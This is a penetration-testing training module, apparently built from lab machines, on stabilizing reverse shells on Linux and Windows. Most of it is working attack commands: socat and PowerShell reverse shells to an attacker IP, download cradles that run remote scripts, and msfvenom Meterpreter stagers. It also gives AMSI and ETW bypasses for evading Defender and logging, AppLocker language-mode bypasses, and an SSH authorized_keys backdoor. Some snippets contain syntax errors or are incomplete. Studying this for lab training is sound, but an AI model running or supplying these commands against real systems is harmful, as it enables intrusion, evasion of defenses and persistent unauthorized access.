Back to All Modules

Shell Upgrade and Stabilization

#Overview

Reverse shells caught via netcat are fragile. Ctrl-C kills them. No tab completion. No arrow key history. No interactive programs (sudo, vim, SSH). Stabilizing the shell is the first post-exploitation action to take. A fully interactive TTY allows tab completion, arrow keys, job control, and running interactive programs like vim, sudo, ssh, and mysql.

#Prerequisites

  • A reverse shell or bind shell connection (netcat, socat, or payload-based)
  • Access to target's Python, socat, or rlwrap (or ability to upload them)
  • Attacker machine with netcat/socat listener

#Detection & Enumeration

A shell is unstable if: Ctrl-C kills the connection, tab completion does not work, arrow keys produce escape codes (^[[A), programs like sudo or vim fail with "not in a terminal", backgrounding with Ctrl-Z fails. The tty command will return "not a tty" on an unstable shell.

#Exploitation / Execution

#Linux: Python TTY Spawn

The classic one-liner. Works on almost any modern Linux with Python installed:

python3 -c 'import pty; pty.spawn("/bin/bash")'  # Spawn a pseudo-terminal bash
# If python3 is missing:
python -c 'import pty; pty.spawn("/bin/bash")'    # Python 2 fallback
BASH

#Linux: Full TTY with Terminal Control

After spawning a pty, background the shell and configure the local terminal:

# In the reverse shell:
python3 -c 'import pty; pty.spawn("/bin/bash")'
# Press Ctrl+Z to background

# In your local terminal:
stty raw -echo; fg     # Put terminal in raw mode and foreground the shell
# Press Enter twice

# Now inside the shell:
export TERM=xterm       # Set terminal type for colors and TUI programs
# Get your local terminal size:
# On your attack box: stty size  (output like "51 235")
stty rows 51 columns 235  # Set rows/cols to match your terminal window
BASH

#Linux: Using rlwrap for History and Arrow Keys

If Python is unavailable but rlwrap is on the attacker machine:

rlwrap nc -lvnp 4444   # rlwrap provides readline functionality on the listener
# Then catch the shell normally. Arrow keys and history will work.
BASH

#Linux: socat for Stable Shell

If socat is available on the target:

# On attack box:
socat file:`tty`,raw,echo=0 tcp-listen:4444

# On target:
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.10.14.5:4444
BASH

#Linux: SSH Persistence for Stable Access

Add your public key to ~/.ssh/authorized_keys for persistent, fully interactive SSH access:

echo "ssh-rsa AAAA... attacker@kali" >> ~/.ssh/authorized_keys
chmod 600 ~/.ssh/authorized_keys
# Then SSH in directly:
ssh user@target.htb
BASH

#Linux: script-based TTY (when Python/socat unavailable)

script /dev/null -c bash   # Creates a pty using script utility
# Then Ctrl+Z, stty raw -echo; fg, Enter x2
BASH

#MSFvenom Stagers for Meterpreter

For a more robust agent with built-in shell upgrade, file upload/download, and pivoting:

# Linux reverse shell:
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.10.14.5 LPORT=10002 -f elf -o shell
# Windows reverse shell:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.5 LPORT=10002 -f exe -o shell.exe

# In msfconsole:
use exploit/multi/handler
set PAYLOAD linux/x64/meterpreter/reverse_tcp
set LHOST tun0
set LPORT 10002
run -j
BASH

#Windows: PowerShell Execution Policy Bypass

# Bypass execution policy:
powershell -ExecutionPolicy Bypass -Command "..."
powershell -ep bypass -c "..."

# Common download cradle:
powershell -c "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.5/shell.ps1')"

# One-liner reverse shell (Nishang):
powershell -c "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.5/Invoke-PowerShellTcpOneLine.ps1')"
POWERSHELL

#Windows: AMSI Bypass Techniques

AMSI (Antimalware Scan Interface) can block PowerShell scripts:

# Method 1: String obfuscation
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)

# Method 2: Force AMSI to fail
$a=[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils'];$h='amsiInitFailed';$a.GetField($h,'NonPublic,Static').SetValue($null,$true)

# Method 3: PowerShell downgrade
powershell -version 2 -c "..."  # PowerShell v2 does not support AMSI
POWERSHELL

#Windows: PowerShell Reverse Shell (Full)

$client = New-Object System.Net.Sockets.TCPClient('10.10.14.5',443);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
    $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
    $sendback = (iex $data 2>&1 | Out-String );
    $sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
    $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
    $stream.Write($sendbyte,0,$sendbyte.Length);
    $stream.Flush()
};
$client.Close()
POWERSHELL

#Windows: Run PowerShell in Background

From a cmd.exe shell, use START /B to avoid locking the current session:

START /B "" powershell -c "IEX (New-Object Net.WebClient).downloadstring('http://10.10.14.5/shell.ps1')"
CMD

#ConPtyShell (Windows ConPTY)

Modern Windows (10 1809+) supports ConPTY for a fully interactive terminal experience:

# ConPtyShell — Modern Windows fully interactive shell (Win10 1809+)
# Step 1: On attacker, get terminal size and start listener
stty size          # Note rows/cols for later
stty raw -echo; (stty size; cat) | nc -lvnp 4444

# Step 2: On target Windows system
IEX(IWR http://10.10.14.5/Invoke-ConPtyShell.ps1 -UseBasicParsing)
Invoke-ConPtyShell 10.10.14.5 4444

# Step 3: On attacker, after connection: Ctrl+Z, then:
stty raw -echo; fg
# Reset terminal rows/cols if needed:
stty rows 38 cols 116
POWERSHELL

#pwncat-cs (Modern Linux Shell Management)

# pwncat-cs — Modern Linux shell management with auto-stabilization
pip install pwncat-cs
pwncat-cs -lp 4444   # Listener with auto-stabilization
# Features: auto-upgrade shells, session management, built-in enumeration, file upload/download
# After connection: use 'help' for built-in commands, 'upload'/'download' for file transfer
BASH

#AMSI Bypass + Download Cradle Combined Workflow

The #1 professional workflow for Windows targets — bypass Defender, then execute:

# AMSI bypass + download cradle — the #1 professional workflow for Windows targets
# Step 1: Disable AMSI (Anti-Malware Scan Interface) to avoid Defender detection
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
# Step 2: Download and execute tool
IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.5/PowerView.ps1')

# Alternative: AMSI bypass via memory patching (more reliable across PS versions)
$a=[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils'); $f=$a.GetField('amsiInitFailed','NonPublic,Static'); $f.SetValue($null,$true)

# OPSEC: AMSI bypass generates Event ID 4104 if script block logging is enabled
# Consider: Combine with ETW patching for full stealth
POWERSHELL

#ETW Patching

Disable telemetry before offensive operations to reduce logging footprint:

# ETW (Event Tracing for Windows) patching — disable telemetry before offensive operations
# Method 1: Patch EtwEventWrite in current process
$ptr=[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((Get-ProcAddress ntdll.dll EtwEventWrite),([System.Func[int]))
# Method 2: Ntdll EtwEventWrite patch (via C# inline)
# Most C2 frameworks (Cobalt Strike, Havoc, Sliver) patch ETW automatically

# Without C2, use PowerShell:
$code='[DllImport("ntdll.dll")]public static extern uint EtwEventWrite(IntPtr a,byte[] b);'
$ntdll=Add-Type -MemberDefinition $code -Name 'etw' -Namespace 'win' -PassThru
# Patch the function to return 0 (no-op)
POWERSHELL

#PowerShell Constrained Language Mode (CLM)

Common in AppLocker environments — detect and bypass:

# CLM detection and bypass — common in AppLocker environments
# Check current language mode:
$ExecutionContext.SessionState.LanguageMode
# FullLanguage = unrestricted | ConstrainedLanguage = AppLocker/Device Guard enforced | NoLanguage = locked down

# Bypass methods:
# 1. PowerShell v2 downgrade (if v2 installed):
powershell -version 2
# 2. Use PowerShell Core (pwsh) if available — bypasses Windows PowerShell CLM
pwsh
# 3. Use C# tools instead (SharpView, Seatbelt, Rubeus) — not subject to CLM
# 4. InstallUtil.exe LOLBIN bypass for executing managed code
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=true /U payload.exe
POWERSHELL

#Additional OPSEC Notes

  • Event ID 4688: Process creation logging — triggered when new processes are spawned (e.g., powershell.exe, cmd.exe)
  • Event ID 4104: PowerShell script block logging — captures full script content when executed, including AMSI bypass attempts

#Common Pitfalls

  • Shell dies on Ctrl-C: Always run stty raw -echo; fg before using the shell interactively.
  • No tab completion: The shell needs a TTY with TERM set. Use the full Python + stty workflow.
  • Arrow keys produce ^[[A: The terminal is not in raw mode. Background with Ctrl+Z and run stty raw -echo.
  • sudo fails with "no tty present": The shell is not a proper TTY. Spawn with pty.spawn() and set TERM=xterm.
  • Python not installed: Fall back to script /dev/null -c bash or check for perl/ruby/lua as alternatives.
  • SSH from inside unstable shell: Use SSH with -T flag if forced: ssh -T user@host.

#OPSEC Considerations

  • rlwrap, socat, and msfvenom are standard attacker tools -- use them from your own machine when possible.
  • Uploading socat/msfvenom payloads to target disk leaves forensic artifacts in temp directories.
  • SSH persistence via authorized_keys is stealthy but the key can be found with find / -name authorized_keys.
  • Meterpreter sessions may be detected by AV/EDR; consider process injection or staged payloads.

#Post-Exploitation Value

A stable shell enables: interactive sudo for privilege escalation, credential dumping tools that require TTY, SSH into adjacent systems, running text editors for config modification, persistent backdoor access via SSH keys. The quality of a stabilized shell directly determines the success of subsequent post-exploitation phases.

#Cross-References

#Tool References

ToolLink
rlwrapapt install rlwrap
socatapt install socat
Nishanghttps://github.com/samratashok/nishang
PowerCathttps://github.com/besimorhino/powercat

#Source Machines

  • Cerberus (Hard, Linux) - Python TTY upgrade after catching shell
  • Help (Easy, Linux) - Python pty.spawn('/bin/bash') after reverse shell
  • Sau (Easy, Linux) - script /dev/null -c bash + stty raw -echo; fg workflow
  • Access (Easy, Windows) - PowerShell TCP reverse shell, START /B for background